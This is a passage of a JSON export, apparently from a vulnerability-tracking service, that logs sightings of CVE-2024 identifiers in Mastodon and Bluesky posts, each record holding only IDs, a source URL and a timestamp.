"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12566", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113819557923596213", "content": "", "creation_timestamp": "2025-01-13T06:10:26.564320Z"}, {"uuid": "34f151b8-16b6-46c7-8396-5fe13bedb9af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lfostexdk22z", "content": "", "creation_timestamp": "2025-01-14T08:17:56.792794Z"}, {"uuid": "ddeb0e90-5a29-40bb-abfe-342fba818955", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12324", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhnalar2m", "content": "", "creation_timestamp": "2025-01-07T05:17:08.119497Z"}, {"uuid": "abe6ad6d-8aae-46d8-8b43-55a810bf170b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12067", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckgkl25527", "content": "", "creation_timestamp": "2025-01-09T11:15:38.678919Z"}, {"uuid": "e3cffc03-25fd-43b7-9371-67c7a30305c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113805841100757670", "content": "", "creation_timestamp": "2025-01-10T20:02:03.782033Z"}, {"uuid": "615ffa01-194d-465d-bb2a-46a020293973", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12431", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113794654216478642", "content": "", "creation_timestamp": "2025-01-08T20:37:06.251407Z"}, {"uuid": "0e6c49f1-c898-42c4-9501-1c445847bf16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12206", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckgqhamc2i", "content": "", "creation_timestamp": "2025-01-09T11:15:44.861961Z"}, {"uuid": "585d1cf9-4b1c-42cd-8eb9-0f9f04ccc11f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12514", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhipda725", "content": "", "creation_timestamp": "2025-01-09T11:16:10.287300Z"}, {"uuid": "4ceda319-e645-4041-a9a8-2513a8a7368e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12819", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfcki22czx2l", "content": "", "creation_timestamp": "2025-01-09T11:16:28.542499Z"}, {"uuid": "f481cb11-ce39-4f80-bad6-e04ac0d7be97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lfprosiad22e", "content": "", "creation_timestamp": "2025-01-14T17:30:09.071610Z"}, {"uuid": "2e532de5-dce6-41fe-8dd8-2b64a8705524", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12542", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhogqyj2a", "content": "", "creation_timestamp": "2025-01-09T11:16:16.344122Z"}, {"uuid": "a385e75a-aec2-495b-ab0a-9124c6945e52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lffz3jcawh2a", "content": "", "creation_timestamp": "2025-01-10T20:15:53.739343Z"}, {"uuid": "fb93d9a4-7beb-4c23-a7f3-ffd52adca1c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12274", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfm3k4a6u52h", "content": "", "creation_timestamp": "2025-01-13T06:15:49.234640Z"}, {"uuid": "a37939c8-45c6-42aa-81d2-396f7b6b7de3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/cadey.pony.social.ap.brid.gy/post/3lfpxk57magv2", "content": "", "creation_timestamp": "2025-01-14T19:16:04.678236Z"}, {"uuid": "9704f4e1-3462-4c01-bee9-eaf8ac5a66e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12116", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808596738632070", "content": "", "creation_timestamp": "2025-01-11T07:42:51.842549Z"}, {"uuid": "d5a9faf7-cc72-4858-8517-478d03a66c3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12566", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfm3k6kaxm2n", "content": "", "creation_timestamp": "2025-01-13T06:15:51.867589Z"}, {"uuid": "9084cdbd-6278-42d1-bbaf-33cb2ec21aff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12407", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808596752364339", "content": "", "creation_timestamp": "2025-01-11T07:42:51.973685Z"}, {"uuid": "959d445c-a75d-43b7-aec4-293fdab8137e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12567", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfm3kasn5b2f", "content": "", "creation_timestamp": "2025-01-13T06:15:53.960403Z"}, {"uuid": "1fe39a1d-d753-44c3-a408-57dbd8bb484d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12435", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vhubryw25", "content": "", "creation_timestamp": "2025-01-07T05:17:15.207725Z"}, {"uuid": "230c5fbe-174b-46bc-8229-32f9d4c32db0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12412", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808596766259967", "content": "", "creation_timestamp": "2025-01-11T07:42:52.501736Z"}, {"uuid": "b25a3236-dd22-4448-9af6-94eb9b3e7d3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12568", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfm3kd2cdm2n", "content": "", "creation_timestamp": "2025-01-13T06:15:56.651606Z"}, {"uuid": "bd1530a3-9cc8-4431-881a-0cf4342881b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12122", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckgnpl6j25", "content": "", "creation_timestamp": "2025-01-09T11:15:41.978131Z"}, {"uuid": "1b542572-4a48-4adb-870f-ea7b3828a217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12394", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckh75z7c22", "content": "", "creation_timestamp": "2025-01-09T11:16:00.253989Z"}, {"uuid": "0763378a-0c50-40a2-8d85-c6ed95680e87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12616", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhsyxwr2k", "content": "", "creation_timestamp": "2025-01-09T11:16:21.044357Z"}, {"uuid": "df2d3909-84e9-4b14-bf22-d5227946cf6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12806", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/113800964354441302", "content": "", "creation_timestamp": "2025-01-09T23:21:51.848355Z"}, {"uuid": "b6972a7b-a76d-4a93-a09a-20c7667ed434", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12568", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113819616971345552", "content": "", "creation_timestamp": "2025-01-13T06:25:26.962944Z"}, {"uuid": "41fbff28-c262-4c5d-814f-31976e32c372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12025", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783258487585133", "content": "", "creation_timestamp": "2025-01-06T20:19:00.442421Z"}, {"uuid": "541c3e96-322a-41a6-aa17-b3a91354bd12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12172", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113783259603194493", "content": "", "creation_timestamp": "2025-01-06T20:19:17.524304Z"}, {"uuid": "8b7c990f-9cf0-4625-96f6-1b2389adfafc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12049", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vfvl36k2c", "content": "", "creation_timestamp": "2025-01-07T05:16:09.347066Z"}, {"uuid": "9fb011ba-10a0-4f9f-95d8-2df47649bfb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12124", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vfxyhmo2i", "content": "", "creation_timestamp": "2025-01-07T05:16:12.722683Z"}, {"uuid": "ef2ffc4b-aceb-4208-81a7-3b70ee6e45b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12218", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckgsujlh2e", "content": "", "creation_timestamp": "2025-01-09T11:15:47.383275Z"}, {"uuid": "da849088-a874-43a6-9ffb-b2a8970817b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12491", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhbws5u2m", "content": "", "creation_timestamp": "2025-01-09T11:16:03.202352Z"}, {"uuid": "17d450c4-ffe4-4433-a64c-6345e4f07754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://bsky.app/profile/bluecyber.bsky.social/post/3lfnmyg7tlk2v", "content": "", "creation_timestamp": "2025-01-13T21:00:44.659163Z"}, {"uuid": "08631ffe-1e80-4276-b725-7789e219addf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12398", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3lfoup7rlvs2z", "content": "", "creation_timestamp": "2025-01-14T08:51:24.557486Z"}, {"uuid": "64a8a0bc-44f9-44d2-8a29-b2a31e147149", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12126", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vg2r2hk2k", "content": "", "creation_timestamp": "2025-01-07T05:16:15.075231Z"}, {"uuid": "82dacde3-d386-4414-a7ea-a2b07fb6f573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12159", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vggi26k2l", "content": "", "creation_timestamp": "2025-01-07T05:16:27.733544Z"}, {"uuid": "2898ce4c-9b01-475a-853a-2f5f52f5bc67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12431", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113793610252558322", "content": "", "creation_timestamp": "2025-01-08T16:11:36.203775Z"}, {"uuid": "869f8cca-c9e1-416d-a4c7-c182c01100f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12222", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckgvaysr2a", "content": "", "creation_timestamp": "2025-01-09T11:15:49.877355Z"}, {"uuid": "b1c0808e-581b-4c25-a430-05129e47de3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12519", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808655768195033", "content": "", "creation_timestamp": "2025-01-11T07:57:52.373687Z"}, {"uuid": "680e63a0-cbce-4447-b12c-9b091831f7f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12568", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfm4qfvefj2k", "content": "", "creation_timestamp": "2025-01-13T06:37:14.725041Z"}, {"uuid": "e1eea715-2c16-4aae-85c0-34bbded4b605", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lfnnawweus2y", "content": "", "creation_timestamp": "2025-01-13T21:05:28.939198Z"}, {"uuid": "19ed10a2-1e97-4b34-8988-690d0a1d6f67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lfnnawweus2y", "content": "", "creation_timestamp": "2025-01-13T21:05:28.989373Z"}, {"uuid": "9168d3a9-b1d2-4c55-8686-ced6a064bb2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12140", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vg55d522c", "content": "", "creation_timestamp": "2025-01-07T05:16:17.363343Z"}, {"uuid": "5beb6a3d-200a-4105-8bb3-8b389ed296c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12249", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckgynwkp2l", "content": "", "creation_timestamp": "2025-01-09T11:15:53.466197Z"}, {"uuid": "daa7b227-a92c-4ee1-b14d-fa8db7febb5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12520", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808655784413287", "content": "", "creation_timestamp": "2025-01-11T07:57:52.736985Z"}, {"uuid": "1d897e80-80ed-4864-8e06-43513526eb33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12274", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfm4qfzp2z2k", "content": "", "creation_timestamp": "2025-01-13T06:37:15.286603Z"}, {"uuid": "ad6799d0-ff3b-49fb-9607-975f2e4c1ba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12153", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf4vg7cw2m25", "content": "", "creation_timestamp": "2025-01-07T05:16:19.584537Z"}, {"uuid": "ba9128de-2d94-4507-b44a-c63537aba3c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12285", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckh2zhx72d", "content": "", "creation_timestamp": "2025-01-09T11:15:55.969853Z"}, {"uuid": "2a0f388d-66a9-4ec0-9ffc-b3aa124f143d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12493", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckheenmb2k", "content": "", "creation_timestamp": "2025-01-09T11:16:05.773585Z"}, {"uuid": "edd34112-203e-4e81-a0dd-3230a6f172c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12618", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfckhvdpp72l", "content": "", "creation_timestamp": "2025-01-09T11:16:24.211474Z"}, {"uuid": "412be86d-c876-460e-be17-18361733fc67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12527", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113808655798870020", "content": "", "creation_timestamp": "2025-01-11T07:57:52.923211Z"}, {"uuid": "a16644aa-6350-47ae-a5fe-e1caddd78004", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12567", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfm4qg573i2q", "content": "", "creation_timestamp": "2025-01-13T06:37:15.820643Z"}, {"uuid": "ab92d453-9848-4acc-ae0a-1c1a83eb70be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12032", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113711319937158435", "content": "", "creation_timestamp": "2024-12-25T03:24:05.483933Z"}, {"uuid": "823dc6f2-2f52-455e-9b55-95933125a9da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12190", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113711319953815691", "content": "", "creation_timestamp": "2024-12-25T03:24:05.768362Z"}, {"uuid": "1d7381ca-012d-4702-add4-193d1600ed3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12272", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113711319987931764", "content": "", "creation_timestamp": "2024-12-25T03:24:06.269274Z"}, {"uuid": "7d1761e1-85e6-4a65-8f23-e3362b96ca88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12413", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113711320002270284", "content": "", "creation_timestamp": "2024-12-25T03:24:06.588670Z"}, {"uuid": "6e4a3959-6558-4334-9115-3cd221d30228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12032", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le43xhu7nl2f", "content": "", "creation_timestamp": "2024-12-25T04:15:30.361239Z"}, {"uuid": "09a36111-33c9-444f-a152-442bef1fad73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12190", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le43xkgovn2c", "content": "", "creation_timestamp": "2024-12-25T04:15:33.110249Z"}, {"uuid": "b64b3c43-b0a4-46a7-b9bb-7786a20b27bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12272", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le43xmqldi22", "content": "", "creation_timestamp": "2024-12-25T04:15:35.560120Z"}, {"uuid": "4387fc6b-ebb4-4fd1-9e7f-b0dfc480fca2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12413", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le43xouzwm2i", "content": "", "creation_timestamp": "2024-12-25T04:15:37.502884Z"}, {"uuid": "43127b96-ea1a-4222-bafb-942a0b7fada0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12428", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113711589405077195", "content": "", "creation_timestamp": "2024-12-25T04:32:37.315873Z"}, {"uuid": "fc262456-ba91-431f-9227-d239ff63a5f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12636", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113711589420388300", "content": "", "creation_timestamp": "2024-12-25T04:32:37.866672Z"}, {"uuid": "2935df9e-141d-4e67-9103-8bccf4862960", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12828", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3le46peaknc25", "content": "", "creation_timestamp": "2024-12-25T05:04:39.439727Z"}, {"uuid": "1f9a8ceb-1a3d-4070-985b-f8578bc90782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12428", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le47crnbzr2o", "content": "", "creation_timestamp": "2024-12-25T05:15:31.222164Z"}, {"uuid": "a7d92e25-0962-45ef-a143-f863c187bbf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12636", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le47cu3qev2c", "content": "", "creation_timestamp": "2024-12-25T05:15:33.747554Z"}, {"uuid": "f174bc08-d6ef-4660-aa07-4be5172306ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12335", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113712111301836978", "content": "", "creation_timestamp": "2024-12-25T06:45:20.838985Z"}, {"uuid": "1b0783fb-c344-47b9-8e49-0438f5df8e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12335", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le4fznovsq2c", "content": "", "creation_timestamp": "2024-12-25T07:15:41.057623Z"}, {"uuid": "b9ed4526-7b8d-4a0f-b98b-7c3d7e012f0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12926", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113715256568829494", "content": "", "creation_timestamp": "2024-12-25T20:05:13.717629Z"}, {"uuid": "3aef6e90-5677-4e91-9ffc-e374e09ed7ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12926", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le5rmggmuu22", "content": "", "creation_timestamp": "2024-12-25T20:15:42.020060Z"}, {"uuid": "bbd52c8e-44f6-448c-879a-620d8035719e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12927", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113715977860501002", "content": "", "creation_timestamp": "2024-12-25T23:08:39.739815Z"}, {"uuid": "1fcab569-2903-4587-a55f-4b460d71038f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12927", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le63o75yqp2o", "content": "", "creation_timestamp": "2024-12-25T23:15:38.853424Z"}, {"uuid": "3e8ceb48-9f99-4099-b328-1033a8670029", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12928", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113716073111519975", "content": "", "creation_timestamp": "2024-12-25T23:32:53.138796Z"}, {"uuid": "f346e306-665e-42ad-bae0-04ca04e636b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12929", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113716200467474468", "content": "", "creation_timestamp": "2024-12-26T00:05:16.446709Z"}, {"uuid": "32f33a40-b491-4658-bac1-3eaa8e3430ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12928", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le66zcokes25", "content": "", "creation_timestamp": "2024-12-26T00:15:32.841094Z"}, {"uuid": "0a647bd1-b80c-4dc8-b603-769c4bfc7507", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": 